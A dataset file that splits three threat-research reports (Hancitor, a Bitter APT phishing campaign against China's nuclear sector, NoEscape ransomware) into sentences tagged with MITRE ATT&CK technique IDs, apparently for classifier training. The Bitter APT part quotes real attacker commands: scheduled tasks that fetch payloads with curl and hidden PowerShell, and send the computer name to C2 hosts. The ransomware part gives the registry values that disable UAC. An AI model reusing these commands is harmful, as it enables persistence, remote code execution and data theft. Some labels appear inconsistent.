{"sentence": "After successfully decrypting the C2 URLs, the data is sent there using a HTTP POST request adding the constructed query string as data.", "labels": ["T1071.001", "T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "To increase the probability of reaching an active server, the malware iterates over all the decrypted C2 URLs and tries to reach all of them until one of them sends a response.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 12 – C2 communication function.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "We assume that based on the received data the C2 server responds with either a simple string which can be decrypted to an active malware download server or with garbage data in the form of a simple string.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Although the decoding algorithm of the C2 response looks quite complex, it is actually Base64 decoding, followed by an XOR operation using the key 0x7A.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "If the decryption leads to a valid URL, the malware initiates a download, which delivers an executable.", "labels": ["T1105"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "To execute the binary, Hancitor uses one of the following techniques: Create Process Create Thread Process Hollowing Thread Execution Hijacking Create Process If the method “Create Process” is chosen, then the malware writes the retrieved executable to disk into the temp folder and executes it using rundll32.exe with “start” as the argument for the entry function.", "labels": ["T1055", "T1218.011"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Create Thread The Create Thread method is as straightforward as Create Process.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The malware simply allocates some memory, writes the malware into it and creates a new thread from it.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Process Hollowing If the Process Hollowing method is used, a new svchost.exe process is created in a suspended state.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The malware then allocates new memory in the newly-created process, writes the executable to it and executes it in a new thread.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 13 – Process creation function.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Thread Execution Hijacking The final execution method Hancitor supports is Thread Execution Hijacking.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "This method is mostly the same as the above described Process Injection method.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The only difference is that the malware replaces the thread context with the downloaded executable and resumes it afterwards.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Conclusion This article should give a good overview of Hancitor’s capabilities and behavior as of February 2021. Indicators of Compromise (IOCs)", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "A list of IOCs is also available in the HP Threat Research GitHub repository.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Hancitor Word documents: 111a2dc96e082b86a79dd90ec307c977a21c7aee0ddb141d688a17bd65f3661d 40c3eb22a02601cf70a4ae08eeaa5805144386bc13882e5f110c133b1d0ede8e 678da85cecff2cdda8559281dfc8a89f87c44c6371cbda4de4bc9ea5cd2f5cf9 772c897ffdfb824b31d70ea360224714ab9bb83659bd431897cc74dd2defc2f3 080bade36015dd79925bab0975ac0f30f18424bdd1e7836d63c2dee350bdbd69 22043734ed3f774db7a88297286f6ecd56336d755cc19f1bd54f2a2ac58982cd 2ac3b573d70c40c5c0fafe4e5914c723f2322a1c9cd76d232447654604ff8b76 385425e94ed8ac21d7888550743b7a2b89afbeb51341713adb6da89cd63b5aff 3ffe9ef810d01e9f242558ba59e8c7483adb72e087132cb0fd1e55171c45690f 51dd023b55be138ac7cfe7379a55c0a2a46c01cd3b3f96a151b0a27ed9e12485 56f1795abf78f798a51b9224a5deb17aedd924629136832b526c93339f525e56 6cd76e8f33a945b51d20b909495bbc613f78151dbea6c3a7a3a235bfd2167cdf 7b013a271432cc9dea449ea9fcf727ed3caf7ce4cc6a9ba014b3dd880b5668dd 8bcf45c2de07f322b8efb959e3cef38fb9983fdb8b932c527321fd3db5e444c8 99b98b8c7033456ba7840ad99c65347a8026aee62bccbbac6d22ca4b0f5dfa1e a1ec1a483f549af7e6f26ffe8b2c2ef6ac8c8f0d99349350c1df5eaa327f1ed3 b1502cdbb5aeee57d0a5d38945c64855ba35c25d43a71bd72c3cf31665e5aa62 cab2a47456a2c51504a79ff24116a4db3800b099ec50d0ebea20c2c77739276d d6755718c70e20345c85d18c5411b67c99da5b2f8740d63221038c1d35ccc0b8 ed3fa9e193f75e97c02c48f5c7377ff7a76b827082fdbfb9d6803e1f7bd633ca Extracted OLE Object (DLLs): Ce2449b7f600b0317614419159e9364e1a76613ac0cb112c88be171638573049 0941090d3eb785dbf88fbfafffad34c4ab42877b279129616a455347883e5738 6caccc64a9db7cfce75076ad273d85d108f5b764fcbbb865fd27c91f86cccfad c5385df4db1e69b06cf36f4481365d1101679a5764d721e369ea1d5d4c4b6b2c 288fdf9c64da0251107df7f1c3283f328279ad581710a9cf71f67e53b0b1684d c3e06473c4c3d801c962e6c90ccbcab3d532fb5a6649077ea09cd989edf45eaf cdcd5ee8b80d3a3863e0c55d4af5384522144011b071d00c9c71ae009305f130 43690eaf47245d69f4bda877c562852e4a9715955c2160345cb6cc84b18ca907 00b2312dd63960434d09962ad3e3e7203374421b687658bd3c02f194b172bfe3 372da9447db4ca966a6a9fd45f12519637a562953a88b6d92fb26d3699c14799 878319795a84ebfe5122d6fc21d27b4b94b3c28ad66679f841dec28ccc05e801 82c9bc479ea92c1900422666792877e00256996ce2f931984115598ed2c26f23 edabef17fce2aaca61dbd17a57baf780cd82a2b0189b0cf3c5a7a3ca07e94a44 Unpacked Hancitor (without patched function addresses): 1c55c9e30e3e2a4837afd80e6fc75518494af379835f4b2a7f0eaf815d697951 419fda1fec9e44d7988ceeb9c5742a09198e6fa7f213c23b7c064e56cbd50b40 C2 URLs: hxxp://requirend[.]com/8/forum.php hxxp://spabyasiande[.]ru/8/forum.php hxxp://conlymorect[.]ru/8/forum.php hxxp://fruciand[.]com/8/forum.php hxxp://forticheire[.]ru/8/forum.php hxxp://nentrivend[.]ru/8/forum.php hxxp://cloolyepervir[.]com/8/forum.php hxxp://areentthrices[.]ru/8/forum.php hxxp://syleclisizame[.]ru/8/forum.php Build IDs: 1301_dsf7823 1101_jh372 2001_6tc3ers Malware download URLs: hxxp://anabolicsteroidsbuy[.]info/nedfr.exe The post Hancitor Infection Chain Analysis: An Examination of its Unpacking Routine and Execution Techniques appeared first on HP Wolf Security.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Intezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT, operating in the Asia-Pacific region.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "We have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Bitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used.", "labels": ["T1566.001"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Analysis of Phishing Lures and Payloads We identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "In some emails, people and entities in academia are also targeted, also related to nuclear energy.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload.", "labels": ["T1566.001"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Figure 1: Attack flow described in this research Social Engineering with Phishing Emails The emails contain a number of social engineering techniques.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The name and email address used to send the phishing emails is crafted to look like it is coming from an “Embassy in Beijing.”", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "A free email provider is used, therefore domain reputation checks will not be useful.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Figure 2: Name crafted to appear as communication from an embassy The email is signed off with the name and details of an actual attaché of the Kyrgyz embassy in China.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "This is presumably also how the malicious actor was able to get information in order to craft the lure.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Figure 3: Email body lure with nuclear themes Malicious Payloads via CHM and Microsoft Excel Files Multiple payloads have been observed being delivered.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Either CHM files, or Microsoft Excel files with Equation Editor exploits.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "These payloads are compressed inside RAR files, this helps avoid static analysis techniques that do not decompress the files first.", "labels": ["T1027"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The purpose of the payloads are to create persistence and download further malware payloads.", "labels": ["T1105"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "We were not able to get further additional payloads from the command and control (C2) servers, but in some instances were able to get the file names of next stages from active C2s.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Malicious Microsoft Excel Files The Excel payloads simply contain an Equation Editor exploit that creates two different scheduled tasks.", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "There is no decoy in the document.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "One scheduled task (shown below) runs every 15 minutes, to download a next stage EXE payload using cURL, also sending the actor the name of the infected machine.", "labels": ["T1053.005", "T1105"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "These tactics have been observed being used by Bitter APT in 2021/2022.", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "\"C:\\Windows\\System32\\schtasks.exe\" /create /sc MINUTE /mo 15 /TN \\Windows\\DWM\\DWMCORE /TR \"cmd /c start /min", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "curl --output", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "%AppData%\\dwmcor.exe", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "-O \"\"https://qwavemediaservice[.]net/hkcu/qt.php/?dt=%computername%-QT-2&ct=QT\"\"\" /f Figure 4: Scheduled task The second scheduled task created attempts to execute the payload downloaded by the other task: \"C:\\Windows\\System32\\schtasks.exe\" /create /sc MINUTE /mo 20 /TN \\Windows\\DWM\\DWMCORELIB /TR", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "\"%AppData%\\dwmcor.exe\" /f CHM Files The more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files.", "labels": ["T1027"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage.", "labels": ["T1053.005", "T1105"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "We have noted multiple versions of these CHM payloads.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2.", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "String concatenation is used to break up the string for obfuscation.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The computer name and the username is also sent to the C2.", "labels": ["T1033", "T1041", "T1053.005", "T1082"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "\"C:\\Windows\\System32\\schtasks.exe\" /create /sc minute /mo 15 /tn", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "AdobeUpdater /tr", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "\"%coMSPec% /c", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "s^t^a^rt /^m^i^n m^s^i^e^xe^c", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "^/^i htt^p:/^/mirz^adih^atti^[.]com^/cs^s/t^ry.php?h=%computername%*%username% /^q^n ^/^norestart\" /ft", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "We did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Figure 5: Empty payloads served from different C2 servers This may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.", "labels": ["T1005", "T1056.001", "T1219"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.", "labels": ["T1027"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Figure 6: Encoded PowerShell command in version 2 of the CHM files", "labels": ["T1027", "T1140"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The decoded command is the following: schtasks /create", "labels": ["T1053.005", "T1140"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "/tn", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "WinSecurity /sc minute /mo 15 /tr", "labels": ["T1053.005"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "\"powershell.exe -WindowStyle", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Hidden -command curl -o %", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "LOCALAPPDATA%\\pic.jpg https://coauthcn[.]com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\\pic.jpg|powershell;timeout 9;del %LOCALAPPDATA%\\pic.jpg\" /f", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "It is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username.", "labels": ["T1041", "T1082"], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "What is interesting about the next version is that it now contains a decoy picture when opened: Figure 7: Decoy picture The decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only): Figure 8: Machine translated version of the decoy Conclusion Bitter APT have been conducting espionage campaigns for years using many tactics, including phishing, to achieve their goals.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "It is advised that entities in government, energy, and engineering especially those in the Asia-Pacific region should remain vigilant when receiving emails, especially those claiming to be from other diplomatic entities.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Always verify that the sender is trusted and understand that even if it claims to be from a particular person, it might not be.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "None of the social engineering techniques used are novel and it is imperative that employees of companies should have a good standard of security awareness about phishing emails.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Always take care when handling attachments, and never open CHM files as they are antiquated and not commonly used for legitimate purposes currently.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "– Want to learn more about automating your pipeline for phishing email investigations with Intezer?", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Book a time to talk with us. – Indicators of Compromise File Hashes (SHA256) 5f663f15701f429f17cc309d10ca03ee00fd20f733220cc9d2502eff5d0cd1a1", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "(Email)", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "eb7aebded5549f8b006e19052e0d03dc9095c75a800897ff14ef872f18c8650e (Email) cac239cf09a6a5bc1f9a3b29141336773c957d570212b97f73e13122fe032179 (Email) 8d2f6b0d7a6a06708593cc64d9187878ea9d2cc3ae9a657926aa2a8522b93f74 (Email) 33905e2db3775d2e8e75c61e678d193ac2bab5b5a89d798effbceb9ab202d799 (Email) 5c85194ade91736a12b1eeeb13baa0b0da88c5085ca0530c4f1d86342170b3bc (Email) Ef4fb1dc3d1ca5ea8a88cd94596722b93524f928d87dff0d451d44da4e9181f1 (Email) b2566755235c1df3371a7650d94339e839efaa85279656aa9ab4dc4f2d94bbfa (RAR) 33a20950e7f4b2191706ddf9089f1e91be1e5384cca00a57cf6b58056f70c96b (RAR) 7e7e90b076ef3ea4ef8ed4ef14fb599a2acb15d9ce00c78e5949186da1e355cf (RAR) 07504fcef717e6b74ed381e94eab5a9140171572b5572cda87b275e3873c8a88 (XLS) 06b4c1f46845cee123b2200324a3ebb7fdbea8e2c6ef4135e3f943bd546a2431 (CHM) ded0635c5ef9c3d63543abc36a69b1176875dba84ca005999986bd655da3a446 (CHM) Network qwavemediaservice[.]net mirzadihatti[.]com coauthcn[.]com Mitre ATT&CK TacticTechniqueIDDescriptionReconnaissanceEmail AddressesT1589.002The actor gathers target email addresses to target with spearphishing emailsInitial AccessSpearphishing AttachmentT1566.001Spearphishing is used to deliver RAR attachmentsExecutionPowerShellT1059.001Encoded PowerShell is used by CHM payloadExecutionExploitation for Client ExecutionT1203Microsoft Office exploits are used to execute codePersistenceScheduled TaskT1053.005Scheduled Tasks used for both execution and persistenceDefense EvasionMsiexecT1218.007Msiexec is used to launch next stage payloadsDefense", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "EvasionCompiled HTML FileT1218.001CHM files are used to deliver payloadsDefense EvasionMasqueradingT1036Files are masqueraded as legitimate files and scheduled tasks are named after common tasks (eg.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "Adobe Updater)DiscoverySystem Information DiscoveryT1082First stage payloads fetch Computer and User namesCommand and ControlWeb ProtocolsT1071.001HTTPS is used for C2 communicationCommand and ControlExfiltration Over C2 ChannelT1041Data can be exfiltrated The post Phishing Campaign Targets Chinese Nuclear Energy Industry appeared first on Intezer.", "labels": [], "doc_title": "Phishing Campaign Targets Chinese Nuclear Energy Industry"}
{"sentence": "New Ransomware-as-a-service (RaaS) Targeting Vmware ESXi Servers Recently, Cyble Research & Intelligence Labs (CRIL) detected the emergence of a fresh Ransomware-as-a-Service (Raas) initiative called ‘NoEscape.’", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "This program was discovered to be promoted on a cybercrime forum towards the end of May 2023.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The creators of NoEscape were actively seeking affiliates to join their network.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "CRIL has shared the details of this discovery through the latest blog post.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Following that, EVIL RABBIT, a security researcher on Twitter with the handle @D4RKR4BB1T47, recently shared a tweet featuring a picture of the dashboard panel used by the NoEscape ransomware group.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The figure below shows the post by security researcher EVIL RABBIT.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 1 – NoEscape RaaS Affiliate Panel (Source: EVILRABBIT)", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "In addition to sharing the dashboard panel image, the security researcher also provided images of the RaaS builder page and accompanying samples associated with this specific ransomware family.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The affiliate website of NoEscape RaaS offers a range of executable building options, including EXE and DLL files for Windows 7 and above, reflective DLL injection for Windows 7 and above, executable files for Windows XP, and ELF executables for Linux/ESXi servers.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The affiliate page includes instructions for customizing the ransomware executables, such as specifying the ransomware name, ransomware key name, comment, price or ransom amount, and timer type (None, double, or leak).", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "According to the provided screenshot, the NoEscape RaaS platform offers affiliates the option to choose between generating a single encryption key for all binaries or creating distinct keys for each individual binary.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "This flexibility allows affiliates to tailor their approach and encryption strategy based on their specific requirements or preferences.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The ransomware builder interface allows affiliates to configure various settings for building the ransomware executables.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "These settings include specifying the size of large files where partial encryption is applied instead of encrypting the entire file, defining the primary path for encryption, specifying file paths to skip during encryption, targeting specific services and processes, configuring autorun entries, enabling auto ransom note opening, and even changing wallpapers on infected systems.", "labels": ["T1547.001"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The below figure shows the screenshot of the NoEscape ransomware builder page.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 2 – NoEscape RaaS Executable Builder Page Screenshot (Source: EVIL RABBIT) Technical Details Windows Variant We have taken the below sample hash for the purposes of this analysis: (SHA256), 68ff9855262b7a9c27e349c5e3bf68b2fc9f9ca32a9d2b844f2265dccd2bc0d8, which is a GUI-based x32 bit executable written in Microsoft Visual C/C++ compiler.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 3 – File details Upon execution, the ransomware first creates a mutex named “Global\\\\{5d202e6e-b33a-4833-abfb-2391bc075089}” to ensure that only a single instance of the malware is running on the victim’s system.", "labels": ["T1548.002"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "UAC BYPASS After creating the mutex, the ransomware modifies specific registry values to disable User Access Control (UAC), a security feature in Windows.", "labels": ["T1112", "T1548.002"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "UAC prompts users for permission or administrator credentials before allowing actions that could affect system settings or files.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "By deactivating UAC, the ransomware gets elevated privileges without requiring user permission or administrator credentials.", "labels": ["T1548.002"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "This enables the malware to carry out malicious activities on the system without difficulty, posing a significant risk to the system’s security.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "EnableLUA By modifying the below registry value EnableLUA to “0”, malware aims to deactivate User Account Control (UAC) on the target system.", "labels": ["T1112", "T1548.002"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "UAC is typically set to “1” by default.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Computer\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA = “0” ConsentPromptBehaviorAdmin The ConsentPromptBehaviorAdmin key has been set to “0”, indicating that the behavior of the consent prompt for actions requiring administrator privileges has been modified.", "labels": ["T1112"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "By default, this value is typically set to “1”.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The consent prompt serves to ask for confirmation or administrator credentials from the user before permitting the action to proceed.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Computer\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin = “0” Kill Processes/Services After bypassing UAC, the ransomware terminates several processes, including 360doctor, GDscan, RTVscan, Apache, CCleaner, OneDrive, and others, if they are currently running on the victim’s machine.", "labels": ["T1548.002"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The figure below shows the list of process names targeted by the NoEscape ransomware.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 4 – List of Processes to Terminate Furthermore, the ransomware stops various active services on the system, including culserver, SQL, SQL Server, sophos, vmware-converter, VSS, and others.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "The below figure shows the list of services targeted by the ransomware by service name.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Figure 5 – List of Services to Stop Prior to encrypting the files, the ransomware uses the FindFirstVolumeW() and FindNextVolumeW() API functions to search and identify accessible volumes on the targeted system.", "labels": ["T1083", "T1106"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Following this, the malware proceeds to drop a ransom note named “HOW_TO_RECOVER_FILES.txt” in multiple directories.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
{"sentence": "Once the ransom note has been dropped, the malware proceeds to identify files and directories for encryption by iterating through them using the FindFirstFileW() and FindNextFileW() API functions.", "labels": ["T1083", "T1106"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"}
